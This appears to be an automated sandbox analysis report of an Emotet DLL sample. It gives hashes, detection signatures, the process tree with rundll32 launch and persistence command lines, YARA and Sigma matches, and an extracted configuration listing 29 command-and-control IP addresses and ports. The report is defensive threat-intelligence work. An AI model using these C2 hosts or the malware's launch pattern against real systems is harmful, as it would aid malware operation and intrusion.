Play interactive tour

Edit tour

Windows Analysis Report mal.dll

Overview

General Information

Sample Name:	mal.dll
Analysis ID:	532106
MD5:	9efbd03d5576686dd9f0678c09abe9fc
SHA1:	0b821e78137018bbf3f9c67d3b049e33d5b36ae5
SHA256:	972f9350219dcc2df463f923ec5b559f4ab69f083da9ccbd0976c51bc19f3f5b
Infos:
Most interesting Screenshot:

Detection

Emotet

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected Emotet

Sigma detected: Emotet RunDLL32 Process Creation

C2 URLs / IPs found in malware configuration

Hides that the sample has been downloaded from the Internet (zone.identifier)

Uses 32bit PE files

One or more processes crash

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Deletes files inside the Windows folder

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Contains functionality to dynamically determine API calls

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Abnormal high CPU Usage

Creates a DirectInput object (often for capturing keystrokes)

AV process strings found (often used to terminate AV products)

Contains functionality to read the PEB

Drops PE files to the windows directory (C:\Windows)

Checks if the current process is being debugged

Connects to several IPs in different countries

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 6880 cmdline: loaddll32.exe "C:\Users\user\Desktop\mal.dll" MD5: 72FCD8FB0ADC38ED9050569AD673650E)

cmd.exe (PID: 6896 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\mal.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 6932 cmdline: rundll32.exe "C:\Users\user\Desktop\mal.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 2600 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\mal.dll",Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6920 cmdline: rundll32.exe C:\Users\user\Desktop\mal.dll,Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6464 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Lxelxho\ggoife.qjv",clLaoeKXf MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 5960 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Lxelxho\ggoife.qjv",Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 7016 cmdline: rundll32.exe C:\Users\user\Desktop\mal.dll,axamexdrqyrgb MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 4972 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\mal.dll",Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 7032 cmdline: rundll32.exe C:\Users\user\Desktop\mal.dll,bhramccfbdd MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 5532 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\mal.dll",Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

WerFault.exe (PID: 5528 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6880 -s 304 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 1744 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6880 -s 324 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

svchost.exe (PID: 5672 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

WerFault.exe (PID: 5648 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 6880 -ip 6880 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 4588 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 6880 -ip 6880 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

svchost.exe (PID: 5400 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 7116 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

cleanup

Malware Configuration

Threatname: Emotet

{"C2 list": ["46.55.222.11:443", "104.245.52.73:8080", "41.76.108.46:8080", "103.8.26.103:8080", "185.184.25.237:8080", "103.8.26.102:8080", "203.114.109.124:443", "45.118.115.99:8080", "178.79.147.66:8080", "58.227.42.236:80", "45.118.135.203:7080", "103.75.201.2:443", "195.154.133.20:443", "45.142.114.231:8080", "212.237.5.209:443", "207.38.84.195:8080", "104.251.214.46:8080", "212.237.17.99:8080", "212.237.56.116:7080", "216.158.226.206:443", "110.232.117.186:8080", "158.69.222.101:443", "107.182.225.142:8080", "176.104.106.96:8080", "81.0.236.90:443", "50.116.54.215:443", "138.185.72.26:8080", "51.68.175.8:8080", "210.57.217.132:8080"], "Public Key": ["RUNLMSAAAADzozW1Di4r9DVWzQpMKT588RDdy7BPILP6AiDOTLYMHkSWvrQO5slbmr1OvZ2Pz+AQWzRMggQmAtO6rPH7nyx2", "RUNTMSAAAABAX3S2xNjcDD0fBno33Ln5t71eii+mofIPoXkNFOX1MeiwCh48iz97kB0mJjGGZXwardnDXKxI8GCHGNl0PFj5"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000000.00000000.1037130438.0000000000CF0000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000008.00000002.1168490551.0000000002D7A000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000000.1063275616.0000000000E8C000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000000.1035699542.0000000000CF0000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000002.00000002.1028366032.0000000000800000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000005.00000002.1035861580.0000000004AF0000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.1033480524.000000000310A000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000002.00000003.971608734.0000000002CD9000.00000004.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000000.1063104639.0000000000CF0000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000003.00000002.1031543020.0000000002E63000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000000.1035947080.0000000000E8C000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000005.00000002.1035732972.0000000003193000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.1033332210.0000000003070000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000008.00000002.1167572272.0000000000A90000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000002.1100911301.0000000000E8C000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000000.1064906650.0000000000CF0000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000000.1037359091.0000000000E8C000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000002.1100727595.0000000000CF0000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000003.00000002.1023539885.0000000002CC0000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000000.1065208047.0000000000E8C000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 15 entries

Unpacked PEs

Source	Rule	Description	Author
0.0.loaddll32.exe.cf0000.6.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.rundll32.exe.4af0000.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.3070000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.rundll32.exe.2cc0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.2.loaddll32.exe.cf0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
8.2.rundll32.exe.a90000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.3070000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.cf0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.cf0000.3.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.rundll32.exe.2cc0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.cf0000.9.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.cf0000.3.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
2.2.rundll32.exe.800000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.3122140.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
8.2.rundll32.exe.2d93550.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.rundll32.exe.31935d0.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.e947d0.7.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.e947d0.10.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.e947d0.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.e947d0.4.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
8.2.rundll32.exe.a90000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.e947d0.10.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.2.loaddll32.exe.cf0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.e947d0.4.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
2.2.rundll32.exe.800000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.3122140.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.2.loaddll32.exe.e947d0.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.rundll32.exe.4af0000.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.rundll32.exe.31935d0.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.2.loaddll32.exe.e947d0.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.rundll32.exe.2e634f0.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
8.2.rundll32.exe.2d93550.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.cf0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.cf0000.9.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.cf0000.6.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.e947d0.7.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.e947d0.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.rundll32.exe.2e634f0.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 33 entries

Sigma Overview

System Summary:

Sigma detected: Emotet RunDLL32 Process Creation

Show sources

Source: Process started

Author: FPT.EagleEye: Data: Command: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Lxelxho\ggoife.qjv",Control_RunDLL, CommandLine: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Lxelxho\ggoife.qjv",Control_RunDLL, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Lxelxho\ggoife.qjv",clLaoeKXf, ParentImage: C:\Windows\SysWOW64\rundll32.exe, ParentProcessId: 6464, ProcessCommandLine: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Lxelxho\ggoife.qjv",Control_RunDLL, ProcessId: 5960

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 0.0.loaddll32.exe.cf0000.0.unpack

Malware Configuration Extractor: Emotet {"C2 list": ["46.55.222.11:443", "104.245.52.73:8080", "41.76.108.46:8080", "103.8.26.103:8080", "185.184.25.237:8080", "103.8.26.102:8080", "203.114.109.124:443", "45.118.115.99:8080", "178.79.147.66:8080", "58.227.42.236:80", "45.118.135.203:7080", "103.75.201.2:443", "195.154.133.20:443", "45.142.114.231:8080", "212.237.5.209:443", "207.38.84.195:8080", "104.251.214.46:8080", "212.237.17.99:8080", "212.237.56.116:7080", "216.158.226.206:443", "110.232.117.186:8080", "158.69.222.101:443", "107.182.225.142:8080", "176.104.106.96:8080", "81.0.236.90:443", "50.116.54.215:443", "138.185.72.26:8080", "51.68.175.8:8080", "210.57.217.132:8080"], "Public Key": ["RUNLMSAAAADzozW1Di4r9DVWzQpMKT588RDdy7BPILP6AiDOTLYMHkSWvrQO5slbmr1OvZ2Pz+AQWzRMggQmAtO6rPH7nyx2", "RUNTMSAAAABAX3S2xNjcDD0fBno33Ln5t71eii+mofIPoXkNFOX1MeiwCh48iz97kB0mJjGGZXwardnDXKxI8GCHGNl0PFj5"]}

Multi AV Scanner detection for submitted file

Show sources

Source: mal.dll

ReversingLabs: Detection: 24%

Source: mal.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL, LARGE_ADDRESS_AWARE

Source: mal.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 0000000D.00000003.1053120370.0000000004B71000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.1073164228.00000000049C1000.00000004.00000001.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 0000000D.00000003.1053120370.0000000004B71000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.1073164228.00000000049C1000.00000004.00000001.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 0000000D.00000003.1053120370.0000000004B71000.00000004.00000001.sdmp, WerFault.exe, 0000000D.00000003.1049802183.00000000047F5000.00000004.00000001.sdmp, WerFault.exe, 0000000D.00000003.1049850870.0000000000D21000.00000004.00000001.sdmp, WerFault.exe, 0000000D.00000003.1050065549.0000000000D21000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.1073164228.00000000049C1000.00000004.00000001.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 0000000D.00000003.1053120370.0000000004B71000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.1073164228.00000000049C1000.00000004.00000001.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 0000000D.00000003.1053120370.0000000004B71000.00000004.00000001.sdmp, WerFault.exe, 0000000D.00000003.1050075392.0000000000D27000.00000004.00000001.sdmp, WerFault.exe, 0000000D.00000003.1050252512.0000000000D27000.00000004.00000001.sdmp, WerFault.exe, 0000000D.00000003.1049856280.0000000000D27000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.1073164228.00000000049C1000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 0000000D.00000003.1053120370.0000000004B71000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.1073164228.00000000049C1000.00000004.00000001.sdmp
Source:	Binary string: wkernelbase.pdb( source: WerFault.exe, 0000000D.00000003.1050075392.0000000000D27000.00000004.00000001.sdmp, WerFault.exe, 0000000D.00000003.1050252512.0000000000D27000.00000004.00000001.sdmp, WerFault.exe, 0000000D.00000003.1049856280.0000000000D27000.00000004.00000001.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 0000000D.00000003.1053120370.0000000004B71000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.1073164228.00000000049C1000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 0000000D.00000003.1053120370.0000000004B71000.00000004.00000001.sdmp, WerFault.exe, 0000000D.00000003.1049845754.0000000000D1B000.00000004.00000001.sdmp, WerFault.exe, 0000000D.00000003.1050441546.0000000000D1B000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.1073164228.00000000049C1000.00000004.00000001.sdmp
Source:	Binary string: wkernel32.pdb( source: WerFault.exe, 0000000D.00000003.1049850870.0000000000D21000.00000004.00000001.sdmp, WerFault.exe, 0000000D.00000003.1050065549.0000000000D21000.00000004.00000001.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 0000000D.00000003.1053120370.0000000004B71000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.1073164228.00000000049C1000.00000004.00000001.sdmp
Source:	Binary string: upwntdll.pdb source: WerFault.exe, 0000000F.00000003.1068429245.00000000005AC000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 0000000D.00000003.1053120370.0000000004B71000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.1073164228.00000000049C1000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdbk source: WerFault.exe, 0000000D.00000003.1053120370.0000000004B71000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.1073164228.00000000049C1000.00000004.00000001.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 0000000D.00000003.1053120370.0000000004B71000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.1073164228.00000000049C1000.00000004.00000001.sdmp
Source:	Binary string: a`ojrcoCReportStore::Prune: MaxReportCount=%d MaxSizeInMb=%dRSDSwkernel32.pdb source: WerFault.exe, 0000000D.00000002.1060706786.0000000000732000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb( source: WerFault.exe, 0000000D.00000003.1049845754.0000000000D1B000.00000004.00000001.sdmp, WerFault.exe, 0000000D.00000003.1050441546.0000000000D1B000.00000004.00000001.sdmp

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E572FE7 FindFirstFileExW,		0_2_6E572FE7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E572FE7 FindFirstFileExW,		2_2_6E572FE7

Networking:

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	IPs: 46.55.222.11:443
Source: Malware configuration extractor	IPs: 104.245.52.73:8080
Source: Malware configuration extractor	IPs: 41.76.108.46:8080
Source: Malware configuration extractor	IPs: 103.8.26.103:8080
Source: Malware configuration extractor	IPs: 185.184.25.237:8080
Source: Malware configuration extractor	IPs: 103.8.26.102:8080
Source: Malware configuration extractor	IPs: 203.114.109.124:443
Source: Malware configuration extractor	IPs: 45.118.115.99:8080
Source: Malware configuration extractor	IPs: 178.79.147.66:8080
Source: Malware configuration extractor	IPs: 58.227.42.236:80
Source: Malware configuration extractor	IPs: 45.118.135.203:7080
Source: Malware configuration extractor	IPs: 103.75.201.2:443
Source: Malware configuration extractor	IPs: 195.154.133.20:443
Source: Malware configuration extractor	IPs: 45.142.114.231:8080
Source: Malware configuration extractor	IPs: 212.237.5.209:443
Source: Malware configuration extractor	IPs: 207.38.84.195:8080
Source: Malware configuration extractor	IPs: 104.251.214.46:8080
Source: Malware configuration extractor	IPs: 212.237.17.99:8080
Source: Malware configuration extractor	IPs: 212.237.56.116:7080
Source: Malware configuration extractor	IPs: 216.158.226.206:443
Source: Malware configuration extractor	IPs: 110.232.117.186:8080
Source: Malware configuration extractor	IPs: 158.69.222.101:443
Source: Malware configuration extractor	IPs: 107.182.225.142:8080
Source: Malware configuration extractor	IPs: 176.104.106.96:8080
Source: Malware configuration extractor	IPs: 81.0.236.90:443
Source: Malware configuration extractor	IPs: 50.116.54.215:443
Source: Malware configuration extractor	IPs: 138.185.72.26:8080
Source: Malware configuration extractor	IPs: 51.68.175.8:8080
Source: Malware configuration extractor	IPs: 210.57.217.132:8080

Source: Joe Sandbox View	ASN Name: OnlineSASFR OnlineSASFR
Source: Joe Sandbox View	ASN Name: ARUBA-ASNIT ARUBA-ASNIT

Source: Joe Sandbox View	IP Address: 195.154.133.20 195.154.133.20
Source: Joe Sandbox View	IP Address: 212.237.17.99 212.237.17.99

Source: unknown

Network traffic detected: IP country count 18

Source: WerFault.exe, 0000000F.00000002.1099269166.0000000000DEB000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.1097471671.0000000000DDA000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.1097559454.0000000000DEA000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: Amcache.hve.13.dr	String found in binary or memory: http://upx.sf.net

Source: loaddll32.exe, 00000000.00000000.1063245558.0000000000E7B000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Yara detected Emotet

Show sources

Source: Yara match	File source: 0.0.loaddll32.exe.cf0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.4af0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.3070000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.2cc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.cf0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.a90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.3070000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.cf0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.cf0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.2cc0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.cf0000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.cf0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.800000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.3122140.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.2d93550.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.31935d0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.e947d0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.e947d0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.e947d0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.e947d0.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.a90000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.e947d0.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.cf0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.e947d0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.800000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.3122140.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.e947d0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.4af0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.31935d0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.e947d0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.2e634f0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.2d93550.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.cf0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.cf0000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.cf0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.e947d0.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.e947d0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.2e634f0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1037130438.0000000000CF0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1168490551.0000000002D7A000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1063275616.0000000000E8C000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1035699542.0000000000CF0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1028366032.0000000000800000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1035861580.0000000004AF0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1033480524.000000000310A000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.971608734.0000000002CD9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1063104639.0000000000CF0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1031543020.0000000002E63000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1035947080.0000000000E8C000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1035732972.0000000003193000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1033332210.0000000003070000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1167572272.0000000000A90000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1100911301.0000000000E8C000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1064906650.0000000000CF0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1037359091.0000000000E8C000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1100727595.0000000000CF0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1023539885.0000000002CC0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1065208047.0000000000E8C000.00000004.00000020.sdmp, type: MEMORY

System Summary:

Source: mal.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL, LARGE_ADDRESS_AWARE

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 6880 -ip 6880

Source: C:\Windows\SysWOW64\rundll32.exe

File deleted: C:\Windows\SysWOW64\Lxelxho\ggoife.qjv:Zone.Identifier

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

File created: C:\Windows\SysWOW64\Lxelxho\

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E55A6D0	0_2_6E55A6D0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E55E6E0	0_2_6E55E6E0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E5566E0	0_2_6E5566E0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E555EA0	0_2_6E555EA0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E560F10	0_2_6E560F10
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E551C10	0_2_6E551C10
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E559D50	0_2_6E559D50
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E5575F4	0_2_6E5575F4
